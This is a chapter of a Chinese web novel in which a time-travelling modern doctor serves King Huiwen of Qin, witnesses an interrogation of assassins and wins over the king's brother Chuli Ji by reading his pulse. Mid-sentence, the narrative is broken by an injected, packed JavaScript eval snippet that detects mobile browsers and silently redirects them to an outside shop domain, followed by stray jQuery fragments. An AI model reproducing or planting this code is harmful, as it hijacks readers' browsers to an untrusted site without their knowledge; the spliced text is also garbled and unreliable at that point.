章台宫的正殿灯火通明,比昨夜更亮。四角铜灯架上的油盏全点了,火光把黑色的地砖照出一层暖褐色的光泽。三个刺客被押跪在殿心,双手反缚,脖颈上架着甲士的铜戈,一动不敢动。
秦越被安排坐在嬴驷身侧半步之后的位置,面前居然也摆了一张小案,案上放着热汤和蒸饼。他低头看了看那碗汤,又抬头看了看嬴驷——后者已经束好了冠,换了一身玄色常服,端坐在主位上,正慢悠悠地剥一枚烤栗子。
"吃你的。"嬴驷连眼皮都没抬,"审案子用不着你开口。寡人叫你说话的时候你再说。"
秦越识趣地闭嘴,拿起蒸饼咬了一口。热乎乎的面香在舌尖化开,他的胃这才反应过来自己晚饭还没吃,饿得前胸贴后背,三口就把一张饼吞了下去。
嬴驷剥完那枚栗子,把黄澄澄的果肉放进嘴里,慢慢嚼完,又喝了口温水,这才把目光转向殿心那三个人。整个过程不急不躁,像一头猛兽在用膳后漫不经心地打量爪边的猎物。
"寡人问一句,你们答一句。"嬴驷的语气平得像一潭死水,"答错的人,拖出去连坐三族。"
殿心里传来一声膝盖磕在地砖上的闷响——最右边那个刺客已经软了半边身子。
"谁派你们来的?"
沉默。三个刺客互相看了一眼,谁都没先开口。
嬴驷微微偏了一下头,旁边的一名甲士立刻上前,把中间那个刺客的右肩甲一把扯下来,露出肩头一块刺青——一只展翅的玄鸟,鸟喙弯如铁钩。
樗里疾府上的"鸦卫"标记。
秦越不认识那个标记,但他在嬴驷的瞳孔里看到了一丝极其微小的收缩。那丝收缩转瞬即逝,被某种更深的东西替代了——像是一个人在翻开竹简之前就猜到了答案,看到那个字时仍然会顿一下的那种沉。
"孤认得。"嬴驷的声音忽然变了调,从"寡人"换成了"孤"。秦越在他身边待了这些天,已经摸出了一个规律——嬴驷自称"寡人"时是在跟外人和臣子说话,自称"孤"时,是在跟家人说话。
他放下栗子壳,双手交叠搭在案面上,十指骨节凸起,像一排小小的山脊。"你们退下。"
甲士们愣了一下。嬴驷淡淡地扫了他们一眼,那一眼里没有怒意,但所有人都立刻松开了戈柄,架着三个刺客退出殿外,连殿门都从外面带上了。偌大的章台宫里只剩下嬴驷、秦越,以及地面上三串被绳索磨出的浅痕。
"秦越。"嬴驷开口。
"臣在。"
"你知道樗里疾是谁么?"
"大王的族弟。先王庶子。善谋略,掌军政。"
嬴驷点了点头。他站起来,在殿心里踱了两步,靴底踏在黑砖上发出沉闷的、有节奏的声响。秦越注意到他的步速偏快——嬴驷在情绪波动的时候,会用走路来压住自己的心率。这是他这几天诊脉观察出来的一个细微习惯。
"孤三岁丧母,先王忙于东出西征,乳母和保傅换了七任。只有疾弟——"嬴驷停了脚步,侧过头来看秦越,那目光里没有愤怒,只有一种近乎疲倦的无奈,"只有他,从小到大在孤身边。孤伐魏,他坐镇咸阳;孤收巴蜀,他筹粮草;孤用张仪,他替孤平衡宗室。十二年了,孤以为他会是最后一个对孤动刀的人。"
秦越放下蒸饼,认真听着。他没有说"臣不敢妄议"之类的套话,因为嬴驷此刻需要的不是臣服,是一个能听懂这些暗礁的人。
"大王觉得,"秦越斟酌着字句,"樗里君派他们来,是要杀臣这个人,还是要隔断大王身边一个——他不了解的东西?"
嬴驷转头看他,目光里的疲倦微微散开了一丝,露出一点几不可见的讶异。
"你倒是会说话。"嬴驷走回主位坐下,给自己斟了一盏冷茶,没有喝,只是用手掌捂着盏壁。"孤猜,疾弟不知道你昨夜在做什么。太医署那个老东西报上去的话,大概是你'妖术惑王,动摇根本'。疾弟那个人,最怕宗庙动摇。"
"所以太医令才是递刀的人。"秦越接上了嬴驷没说完的半截话,"樗里君只是接了刀。"
嬴驷看了他一眼,那目光里多了几分赞许,但嘴上没夸,只是哼了一声,把冷茶一饮而尽。
"你今晚睡孤的偏殿。明天卯时,疾弟会入宫。"嬴驷站起身,朝殿后走去,走到门口时回了一下头,"到时候你站在孤身后,不要说话,只做一件事——"
"大王请吩咐。"
"——把脉。"嬴驷的嘴角微微一提,"孤让他知道,你是个大夫。不是妖人。"
秦越在偏殿里几乎没怎么睡。
倒不是怕——嬴驷的偏殿比"不治阁"的干草堆舒服一万倍,至少有一张像样的卧榻和一条干净的麻被。但他脑子里一直在转明天的事。樗里疾是历史上真实存在的人物,善终、封侯、以"智囊"之名载入史册。他不蠢,也不残忍。今晚这一出,大概率是太医令利用了他对宗庙稳定的担心,怂恿他动手的。
关键在于,明天樗里疾见到自己还活着,会是什么反应?
秦越翻了个身,望着殿顶的椽木,忽然笑了一下。他想起自己在现代医院里处理医患纠纷的经历——有时候比今晚还凶险。手里攥着刀的不一定是刺客,也可能是情绪失控的患者家属。而他的武器永远是同一件:先让对方看见病,再让对方看见人。
他闭上了眼睛。
卯时刚过,章台宫的侧门被甲士通传的声音撞开:"樗里君到——"
秦越站在嬴驷身后半步的位置,规规矩矩地拱手垂目。他偷眼看向殿门,走进来的男人比他想象中年轻——五十岁上下,身量不高但肩背宽阔,穿着一件洗得略旧的灰色深衣,腰间没有佩剑,只挂了一枚玉环。面相温厚,眉眼之间甚至带着几分慈和,乍一看像乡间教书的先生。
但秦越注意到他的手。那双手的指节粗大,虎口和食指内侧有厚厚的茧——常年握戈握笔混在一起的痕迹。一个既能出谋又能打仗的人,那双手绝不会只用来翻竹简。
樗里疾进殿后先看了嬴驷一眼,躬身行礼。然后他的目光自然而然地、像不经意一样地扫过了秦越——仅仅一瞬,但秦越在那双温厚眼睛里捕捉到的东西让他后背发凉。
那里面没有杀意。只有审视。一种比他兄长更深、更冷静的审视,像一把没出鞘的刀,你知道它很锋利,但你看不见它离你有多近。
"疾弟坐。"嬴驷抬手指了指下首的位置,语气轻松得像聊家常,"寡人昨夜没睡好,被几只耗子吵醒了一回。"
樗里疾坐下来,把那双带茧的手搁在膝盖上,微微笑了一下:"臣听闻昨夜大王出宫走了一趟。"
"嗯。抓耗子。"嬴驷低头剥第二枚栗子,神态漫不经心,"顺便捞了一个人回来。"
樗里疾没有再追问。他转向秦越,笑得愈发和煦:"这位就是近日声名鹊起的秦大夫吧?臣在府上也听说了。连大王多年的头疾都能治,当真是奇人。"
秦越躬身行礼,不卑不亢:"樗里君谬赞。臣不过是个跑方子的野大夫,运气好,恰好遇到了大王的症候在臣所学之内。"
樗里疾的目光在他脸上停了两息,然后转向嬴驷,换了一个更郑重的语气:"大王,臣今日入宫,确实有要事相商。义渠那边有异动,西境几个烽燧三天内传了三次警。臣以为当增兵。"
嬴驷把剥好的栗子放进嘴里,慢条斯理地嚼完。"增兵的事,你拟个条陈上来。不过不急——"他把栗子壳推到一边,抬起眼来看向樗里疾,那目光忽然从"闲话"变成了"正事",锐得像一道光穿过了雾,"你先让秦越给你诊个脉。"
樗里疾的笑容僵了半寸。
"大王这是——"
"你上月给孤的密报里写了'心悸'两字,别以为孤没看见。"嬴驷的语气淡淡的,但不容反驳,"正好大夫在此。诊完再谈增兵的事。"
樗里疾和嬴驷对视了两息。秦越站在中间,感觉自己像一块被两块巨石夹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890215|212705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住的鹅卵石。但嬴驷没有松口的意思,那双琥珀色的眼睛一眨不眨地压在樗里疾脸上,像一封没拆的密函。
最终樗里疾先移开了目光。他笑了一声,很轻,带着几分无奈,把左袖慢慢往上卷了两折,露出一截小臂。"那就劳烦秦大夫了。"
秦越走上前,单膝跪在樗里疾身侧,三指扣上寸关尺。
脉象很沉。沉而细,尺部尤其弱,左寸略有滑象。秦越在心里默默对照了一遍——心悸是真的,不是编的。樗里疾的心脏供血确实有问题,大概率是痰湿阻络兼心血不足,跟他常年熬夜筹谋、饮食不规律脱不了干系。
他松开手,退后一步,拱手道:"樗里君的心悸,夜间偏重,醒后口中发黏,白日里时有头目昏沉之感。臣说的可对?"
樗里疾的笑容没有变,但他的手指在膝盖上微微收紧了一下。那是一个极其细微的动作,被秦越看见了,也被嬴驷看见了。
"对。"樗里疾说,声音比刚才低了一个调。
"臣开一副温胆汤加丹参、远志,七剂之后心悸可减半。但樗里君若想根治——"秦越顿了一下,抬头直视樗里疾那双温厚的眼睛,"需每日睡足四个时辰,戌时之后不再看竹简,且忌冷食、少饮酒。"
樗里疾看了他几息,忽然笑了出来,这次是真笑,眼角都起了细纹。"你倒是连孤的老毛病都摸清了。"他转向嬴驷,那笑容里带着一丝微妙的、兄弟之间才有的东西,"大王,这位秦大夫——不仅会治脑疾,还会识人。"
嬴驷没有说话。他靠在椅背上,双手交叠放在腹前,嘴角那个弧度又浮起来,带着一种"孤早就知道"的、近乎得意的淡然。
"疾弟。"嬴驷说。
"臣在。"
"那个太医令,撤了。"
樗里疾的笑容终于彻底消失了。他沉默了很久,然后慢慢低下头,拱起那双带茧的手:"臣遵旨。"
他从章台宫退出来的时候,经过秦越身边,脚步顿了一瞬。侧过头,用只有两个人听见的声音说了一句:
"秦大夫,孤不杀你,是因为你诊对了孤的脉。但你记住——"樗里疾的目光沉下来,把那双温厚眼睛里的刀锋露了一瞬,"若有一日,你的方子伤了秦国,孤亲手取你的头。"
他说完就走了。秦越站在原地,后背又是一层薄汗。
嬴驷从主位上站起来,走到他身边,拍了拍他的肩膀——一个很轻的、近乎随意的动作,但那只手的温度透过白大褂的布料传过来,带着一种明确的、不加掩饰的庇护意味。
"干得不错。"嬴驷说。
秦越侧过脸去,对上那双琥珀色的眼睛。晨光从高窗里斜射进来,把嬴驷的半张脸照得明亮。那张脸上的川字纹比初见那天浅了许多,眉宇之间那层常年压着的阴翳正在一层一层地褪去,露出底下原本的面貌来——一个不过四十出头的、正当盛年的、终于能好好呼吸的王。
"大王。"秦越开口。
"嗯?"
"臣能跟大王商量个事么?"
"说。"
"臣明天想休一天假。"秦越指了指自己身上那件破成三条口子的白大褂,"臣得把这衣裳缝一下。再不缝,臣在咸阳城里走动,怕被小孩当叫花子追着扔石子。"
嬴驷低头看了看他那身狼狈不堪的行头,愣了一下,然后——
又笑了。
这一次比昨夜更久,那笑声从喉咙深处滚上来,带着胸腔的震动,在空旷的章台宫里回荡了好几息。他笑完之后抹了一把脸,对秦越说:
"缝完了,回来给孤讲下一个故事。"
"什么故事?"
嬴驷转身走回案后,拿起竹管笔,头也没抬地说:
"讲讲那个山外面的事。千年之后,这天下变成了什么样。"
秦越站在晨光里,看着他低头落笔的侧影,把白大褂袖口那道裂口悄悄攥在手心里,轻声答了一个字。
"好。"